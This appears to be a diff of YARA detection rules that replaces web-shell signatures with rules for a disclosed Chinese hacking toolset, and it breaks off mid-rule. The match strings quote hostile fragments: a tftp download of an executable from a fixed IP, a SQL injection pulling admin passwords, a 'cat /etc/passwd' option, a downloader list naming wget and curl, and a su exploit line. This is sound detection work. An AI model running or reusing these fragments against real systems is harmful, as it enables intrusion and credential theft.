+rule SIGNATURE_BASE_CN_Honker_Mysql_Injectv1_1_Creak : FILE
 {
 	meta:
-		description = "Web Shell - file k8cmd.jsp"
+		description = "Sample from CN Honker Pentest Toolset - file mysql_injectV1.1_Creak.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
-		date = "2014-01-28"
+		id = "39025a57-557a-53c0-bfdb-81fe83f824af"
+		date = "2015-06-23"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L1205-L1218"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "b39544415e692a567455ff033a97a682"
-		logic_hash = "e523a5b1118c6f4d5798f130c00466c7945d27a6fbe0d4cb3a40b7f36da2a502"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/cn_pentestset_tools.yar#L66-L81"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "a1f066789f48a76023598c5777752c15f91b76b0"
+		logic_hash = "f61557216a7e90ff9655ad8aea4a9adf0e4435c7a3f7958423e46fd2265bad07"
 		score = 70
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s2 = "if(request.getSession().getAttribute(\"hehe\").toString().equals(\"hehe\"))" fullword
+		$s0 = "1http://192.169.200.200:2217/mysql_inject.php?id=1" fullword ascii
+		$s12 = "OnGetPassword" fullword ascii
 
 	condition:
-		all of them
+		uint16(0)==0x5a4d and filesize <5890KB and all of them
 }
-rule SIGNATURE_BASE_Webshell_Jsp_Cmd
+rule SIGNATURE_BASE_CN_Honker_ASP_Wshell : FILE
 {
 	meta:
-		description = "Web Shell - file cmd.jsp"
+		description = "Sample from CN Honker Pentest Toolset - file wshell.txt"
 		author = "Florian Roth (Nextron Systems)"
-		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
-		date = "2014-01-28"
+		id = "028136cd-129b-5d58-a4c2-ba730a798c06"
+		date = "2015-06-23"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L1220-L1233"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "5391c4a8af1ede757ba9d28865e75853"
-		logic_hash = "e48d4e2d14a3605fd9dda03630820a0fb53d893cc4d283739fde11f9ab7d9d1e"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/cn_pentestset_tools.yar#L83-L100"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "3ae33c835e7ea6d9df74fe99fcf1e2fb9490c978"
+		logic_hash = "f6f83acb76248a1b00f1acac621e68888c93b34d4813d8f8613d5d9095c53a8a"
 		score = 70
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s6 = "out.println(\"Command: \" + request.getParameter(\"cmd\") + \"<BR>\");" fullword
+		$s0 = "<%@ LANGUAGE = VBScript.Encode %><%" fullword ascii
+		$s1 = "UserPass="
+		$s2 = "VerName="
+		$s3 = "StateName="
 
 	condition:
-		all of them
+		uint16(0)==0x253c and filesize <200KB and all of them
 }
-rule SIGNATURE_BASE_Webshell_Jsp_K81
+rule SIGNATURE_BASE_CN_Honker_Exp_Iis7 : FILE
 {
 	meta:
-		description = "Web Shell - file k81.jsp"
+		description = "Sample from CN Honker Pentest Toolset - file iis7.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
-		date = "2014-01-28"
+		id = "edfafc9a-032a-5ccb-9a1f-faeab0dfa31d"
+		date = "2015-06-23"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L1235-L1249"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "41efc5c71b6885add9c1d516371bd6af"
-		logic_hash = "f9c6b5bec9313c6fd059055fa18332675838419bba3348bb852b50806f26ccb2"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/cn_pentestset_tools.yar#L102-L119"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "0a173c5ece2fd4ac8ecf9510e48e95f43ab68978"
+		logic_hash = "91ceec96297e5cc027e261fd708899787b9be4ac15e209e0734a3b8563ae31b5"
 		score = 70
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "byte[] binary = BASE64Decoder.class.newInstance().decodeBuffer(cmd);" fullword
-		$s9 = "if(cmd.equals(\"Szh0ZWFt\")){out.print(\"[S]\"+dir+\"[E]\");}" fullword
+		$s0 = "\\\\localhost" fullword ascii
+		$s1 = "iis.run" fullword ascii
+		$s3 = ">Could not connecto %s" fullword ascii
+		$s4 = "WinSta0\\Default" fullword ascii
 
 	condition:
-		1 of them
+		uint16(0)==0x5a4d and filesize <60KB and all of them
 }
-rule SIGNATURE_BASE_Webshell_ASP_Zehir
+rule SIGNATURE_BASE_CN_Honker_Segmentweapon : FILE
 {
 	meta:
-		description = "Web Shell - file zehir.asp"
+		description = "Sample from CN Honker Pentest Toolset - file SegmentWeapon.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
-		date = "2014-01-28"
+		id = "e1b6f721-4c4d-50f2-9ed6-f38e8e7ea4ab"
+		date = "2015-06-23"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L1250-L1263"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "0061d800aee63ccaf41d2d62ec15985d"
-		logic_hash = "90920258017cf189da128dce477e71f0040bc66aefa6f018f64db64d22f60ae5"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/cn_pentestset_tools.yar#L121-L136"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "494ef20067a7ce2cc95260e4abc16fcfa7177fdf"
+		logic_hash = "9afb70a3ae158b7abbda6725b8c9901121b78fa0e874db12b4ac08bf59b26fb5"
 		score = 70
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s9 = "Response.Write \"<font face=wingdings size=3><a href='\"&dosyaPath&\"?status=18&"
+		$s0 = "C:\\WINDOWS\\system32\\msvbvm60.dll\\3" fullword ascii
+		$s1 = "http://www.nforange.com/inc/1.asp?" fullword wide
 
 	condition:
-		all of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule SIGNATURE_BASE_Webshell_Worse_Linux_Shell_1
+rule SIGNATURE_BASE_CN_Honker_Alien_Iispwd : FILE
 {
 	meta:
-		description = "Web Shell - file Worse Linux Shell.php"
+		description = "Sample from CN Honker Pentest Toolset - file iispwd.vbs"
 		author = "Florian Roth (Nextron Systems)"
-		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
-		date = "2014-01-28"
+		id = "e561c548-c656-5528-a2a8-2798a59ac6bf"
+		date = "2015-06-23"
 		modified = "2023-12-05"
-		old_rule_name = "webshell_Worse_Linux_Shell"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L1264-L1278"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "8338c8d9eab10bd38a7116eb534b5fa2"
-		logic_hash = "a24e7ae7c722da7f265f032315b1e8e402c2fc4a2a54a685671a9e52124f6553"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/cn_pentestset_tools.yar#L138-L153"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "5d157a1b9644adbe0b28c37d4022d88a9f58cedb"
+		logic_hash = "16dc6ec4b668fdc43e3a9a8ea31ad0caa1a80b1015ab60eec0eb76bfacd69c5f"
 		score = 70
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "system(\"mv \".$_FILES['_upl']['tmp_name'].\" \".$currentWD"
+		$s0 = "set IIs=objservice.GetObject(\"IIsWebServer\",childObjectName)" fullword ascii
+		$s1 = "wscript.echo \"from : http://www.xxx.com/\" &vbTab&vbCrLf" fullword ascii
 
 	condition:
-		all of them
+		filesize <3KB and all of them
 }
-rule SIGNATURE_BASE_Webshell_Zacosmall
+rule SIGNATURE_BASE_CN_Honker_Md5Cracktools : FILE
 {
 	meta:
-		description = "Web Shell - file zacosmall.php"
+		description = "Sample from CN Honker Pentest Toolset - file Md5CrackTools.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
-		date = "2014-01-28"
+		id = "16e04a66-0f6f-5b94-97c3-df62aa9406a9"
+		date = "2015-06-23"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L1279-L1292"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "5295ee8dc2f5fd416be442548d68f7a6"
-		logic_hash = "739d58e3ab6712c703e0cb0e0070afec3376844b77ed081a5d12407cabb62319"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/cn_pentestset_tools.yar#L155-L170"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "9dfd9c9923ae6f6fe4cbfa9eb69688269285939c"
+		logic_hash = "a176393c0324bcc634a31c261aa6b528fb5a5893c40a5534b34253a1922c8285"
 		score = 70
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "if($cmd!==''){ echo('<strong>'.htmlspecialchars($cmd).\"</strong><hr>"
+		$s1 = "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)" fullword ascii
+		$s2 = ",<a href='index.php?c=1&type=md5&hash=" fullword ascii
 
 	condition:
-		all of them
+		uint16(0)==0x5a4d and filesize <4580KB and all of them
 }
-rule SIGNATURE_BASE_Webshell_Liz0Zim_Private_Safe_Mode_Command_Execuriton_Bypass_Exploit
+rule SIGNATURE_BASE_CN_Honker_Coolscan_Scan : FILE
 {
 	meta:
-		description = "Web Shell - file Liz0ziM Private Safe Mode Command Execuriton Bypass Exploit.php"
+		description = "Sample from CN Honker Pentest Toolset - file scan.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
-		date = "2014-01-28"
+		id = "781446d2-3363-56c3-9767-c7ac70047b68"
+		date = "2015-06-23"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L1293-L1306"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "c6eeacbe779518ea78b8f7ed5f63fc11"
-		logic_hash = "9630fc0371193bfbd0bd4fb15856477e7739fc9f11ee539d119ee837b1a54502"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/cn_pentestset_tools.yar#L172-L187"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "e1c5fb6b9f4e92c4264c7bea7f5fba9a5335c328"
+		logic_hash = "89c7d24d821e907f79ab5630eed13275c5216cff6bf203b5c8f66bb1a178039b"
 		score = 70
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "<option value=\"cat /etc/passwd\">/etc/passwd</option>" fullword
+		$s0 = "User-agent:\\s{0,32}(huasai|huasai/1.0|\\*)" fullword ascii
+		$s1 = "scan web.exe" fullword wide
 
 	condition:
-		all of them
+		uint16(0)==0x5a4d and filesize <3680KB and all of them
 }
-rule SIGNATURE_BASE_Webshell_Redirect
+rule SIGNATURE_BASE_CN_Honker_Mempodipper2_6 : FILE
 {
 	meta:
-		description = "Web Shell - file redirect.asp"
+		description = "Sample from CN Honker Pentest Toolset - file mempodipper2.6.39"
 		author = "Florian Roth (Nextron Systems)"
-		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
-		date = "2014-01-28"
+		id = "43a27968-adab-5f27-9b8c-8f0f895f0576"
+		date = "2015-06-23"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L1307-L1320"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "97da83c6e3efbba98df270cc70beb8f8"
-		logic_hash = "b16026623fe7802db9823ad4a3dab051747eea6bd41ce72a0c8c6757bfa2c6f7"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/cn_pentestset_tools.yar#L189-L203"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "ba2c79911fe48660898039591e1742b3f1a9e923"
+		logic_hash = "1a2c42757199818b94a73b9faff3380911655992ef3214a33a220eac15850c4b"
 		score = 70
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s7 = "var flag = \"?txt=\" + (document.getElementById(\"dl\").checked ? \"2\":\"1\" "
+		$s0 = "objdump -d /bin/su|grep '<exit@plt>'|head -n 1|cut -d ' ' -f 1|sed" ascii
 
 	condition:
-		all of them
+		filesize <30KB and all of them
 }
-rule SIGNATURE_BASE_Webshell_Jsp_Cmdjsp
+rule SIGNATURE_BASE_CN_Honker_COOKIE_Cookie : FILE
 {
 	meta:
-		description = "Web Shell - file cmdjsp.jsp"
+		description = "Sample from CN Honker Pentest Toolset - file CooKie.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
-		date = "2014-01-28"
+		id = "5f85bb0f-6df2-512c-ba1a-8a74c1a55563"
+		date = "2015-06-23"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L1321-L1334"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "b815611cc39f17f05a73444d699341d4"
-		logic_hash = "b4822e47a27c598be746ac71bf9b60dafe08d50c83a2dfee5e40ea384fcff21a"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/cn_pentestset_tools.yar#L205-L220"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "f7727160257e0e716e9f0cf9cdf9a87caa986cde"
+		logic_hash = "6d942e53a253cb157e535f86ca457c93a6039b2c5ebb3969dc3e271242b478d4"
 		score = 70
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s5 = "<FORM METHOD=GET ACTION='cmdjsp.jsp'>" fullword
+		$s4 = "-1 union select 1,username,password,4,5,6,7,8,9,10 from admin" fullword ascii
+		$s5 = "CooKie.exe" fullword wide
 
 	condition:
-		all of them
+		uint16(0)==0x5a4d and filesize <360KB and all of them
 }
-rule SIGNATURE_BASE_Webshell_Java_Shell
+rule SIGNATURE_BASE_CN_Honker_Wwwscan_1_Wwwscan : FILE
 {
 	meta:
-		description = "Web Shell - file Java Shell.jsp"
+		description = "Sample from CN Honker Pentest Toolset - file wwwscan.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
-		date = "2014-01-28"
+		id = "8b6a94a3-6f9c-59b2-931b-c06701b95d59"
+		date = "2015-06-23"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L1335-L1349"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "36403bc776eb12e8b7cc0eb47c8aac83"
-		logic_hash = "0d313ff81a36b456326df0054853c31d69710fc142fcfa65747691238af4e635"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/cn_pentestset_tools.yar#L222-L237"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "6bed45629c5e54986f2d27cbfc53464108911026"
+		logic_hash = "7b0b6bbcba49c8f950ea3cf5a364059ba784c87a41eba6d825a9ca4e3a07bfbc"
 		score = 70
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s4 = "public JythonShell(int columns, int rows, int scrollback) {" fullword
-		$s9 = "this(null, Py.getSystemState(), columns, rows, scrollback);" fullword
+		$s0 = "%s www.target.com -p 8080 -m 10 -t 16" fullword ascii
+		$s3 = "GET /nothisexistpage.html HTTP/1.1" fullword ascii
 
 	condition:
-		1 of them
+		uint16(0)==0x5a4d and filesize <180KB and all of them
 }
-rule SIGNATURE_BASE_Webshell_Asp_1D
+rule SIGNATURE_BASE_CN_Honker_D_Injection_V2_32 : FILE
 {
 	meta:
-		description = "Web Shell - file 1d.asp"
+		description = "Sample from CN Honker Pentest Toolset - file D_injection_V2.32.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
-		date = "2014-01-28"
+		id = "4c661c35-61ee-5ee7-9b8e-9908fbe0362b"
+		date = "2015-06-23"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L1350-L1363"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "fad7504ca8a55d4453e552621f81563c"
-		logic_hash = "85b17fde8fb535b64e5eabc887428d9b73adc5bc6741a3a387f235a8b0c6089a"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/cn_pentestset_tools.yar#L239-L254"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "3a000b976c79585f62f40f7999ef9bdd326a9513"
+		logic_hash = "0107903a481b09faa92a5fbb162fd981f976ed864be3a0840b43063461e20974"
 		score = 70
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "+9JkskOfKhUxZJPL~\\(mD^W~[,{@#@&EO"
+		$s0 = "Missing %s property(CommandText does not return a result set{Error creating obje" wide
+		$s1 = "/tftp -i 219.134.46.245 get 9493.exe c:\\9394.exe" fullword ascii
 
 	condition:
-		all of them
+		uint16(0)==0x5a4d and filesize <5000KB and all of them
 }
-rule SIGNATURE_BASE_Webshell_Jsp_Ixrbe
+rule SIGNATURE_BASE_CN_Honker_Net_Priv_Esc2 : FILE
 {
 	meta:
-		description = "Web Shell - file IXRbE.jsp"
+		description = "Sample from CN Honker Pentest Toolset - file net-priv-esc2.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
-		date = "2014-01-28"
+		id = "b4fa3129-57a3-55ee-8ca6-ecbcc135184e"
+		date = "2015-06-23"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L1364-L1377"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "e26e7e0ebc6e7662e1123452a939e2cd"
-		logic_hash = "8710d092b81c5de1e328ad6e57e5c4a25748cc92844198038c103dabc1e76e77"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/cn_pentestset_tools.yar#L256-L271"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "4851e0088ad38ac5b3b1c75302a73698437f7f17"
+		logic_hash = "53cf3d984bc82428eb0a6ee416bcd5429718a1d615ce1c1ba399cda42268d26c"
 		score = 70
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "<%if(request.getParameter(\"f\")!=null)(new java.io.FileOutputStream(application"
+		$s1 = "Usage:%s username password" fullword ascii
+		$s2 = "<www.darkst.com>" fullword ascii
 
 	condition:
-		all of them
+		uint16(0)==0x5a4d and filesize <17KB and all of them
 }
-rule SIGNATURE_BASE_Webshell_PHP_G5
+rule SIGNATURE_BASE_CN_Honker_Oracle_V1_0_Oracle : FILE
 {
 	meta:
-		description = "Web Shell - file G5.php"
+		description = "Sample from CN Honker Pentest Toolset - file Oracle.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
-		date = "2014-01-28"
+		id = "0cebede9-f4ff-5efb-98bc-55df0ad656a3"
+		date = "2015-06-23"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L1378-L1391"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "95b4a56140a650c74ed2ec36f08d757f"
-		logic_hash = "2edffbea5142ef146cec57cb88b473532f56ab3e95151c5648eaeabe6a75feda"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/cn_pentestset_tools.yar#L273-L289"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "0264f4efdba09eaf1e681220ba96de8498ab3580"
+		logic_hash = "6f1bb6b14445a9ca29768ab2dcf831a98cb5d153d03ebc4bc497bb8f8144a365"
 		score = 70
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s3 = "echo \"Hacking Mode?<br><select name='htype'><option >--------SELECT--------</op"
+		$s1 = "!http://localhost/index.asp?id=zhr" fullword ascii
+		$s2 = "OnGetPassword" fullword ascii
+		$s3 = "Mozilla/3.0 (compatible; Indy Library)" fullword ascii
 
 	condition:
-		all of them
+		uint16(0)==0x5a4d and filesize <3455KB and all of them
 }
-rule SIGNATURE_BASE_Webshell_PHP_R57142
+rule SIGNATURE_BASE_CN_Honker_Interception : FILE
 {
 	meta:
-		description = "Web Shell - file r57142.php"
+		description = "Sample from CN Honker Pentest Toolset - file Interception.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
-		date = "2014-01-28"
+		id = "40d350e5-c6af-58e2-a1d8-f9516af5f869"
+		date = "2015-06-23"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L1392-L1405"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "0911b6e6b8f4bcb05599b2885a7fe8a8"
-		logic_hash = "3afa0463de3acb12480dba1b2ab9cd53fca88216ba54c5e044e48ebd84bf17bd"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/cn_pentestset_tools.yar#L291-L306"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "ea813aed322e210ea6ae42b73b1250408bf40e7a"
+		logic_hash = "d1ae5f8ff21659b95f6e62b1d5e3ec15b122a2b5889e8984f3d9f6d2fa938d17"
 		score = 70
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "$downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');" fullword
+		$s2 = ".\\dat\\Hookmsgina.dll" fullword ascii
+		$s5 = "WinlogonHackEx " fullword wide
 
 	condition:
-		all of them
+		uint16(0)==0x5a4d and filesize <160KB and all of them
 }
-rule SIGNATURE_BASE_Webshell_Jsp_Tree
+rule SIGNATURE_BASE_CN_Honker_Sig_3389_Dubrute_V3_0_RC3_3_0 : FILE
 {
 	meta:
-		description = "Web Shell - file tree.jsp"
+		description = "Sample from CN Honker Pentest Toolset - file 3.0.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
-		date = "2014-01-28"
+		id = "994ad7e9-2019-54b3-84e6-2762a700c939"
+		date = "2015-06-23"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L1406-L1420"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "bcdf7bbf7bbfa1ffa4f9a21957dbcdfa"
-		logic_hash = "180aa4572a42d23f3e44589f876356ec973fd64cdd53bac69936b93699888ac2"
+		reference = "Disclosed CN Honker Pentest Toolset"
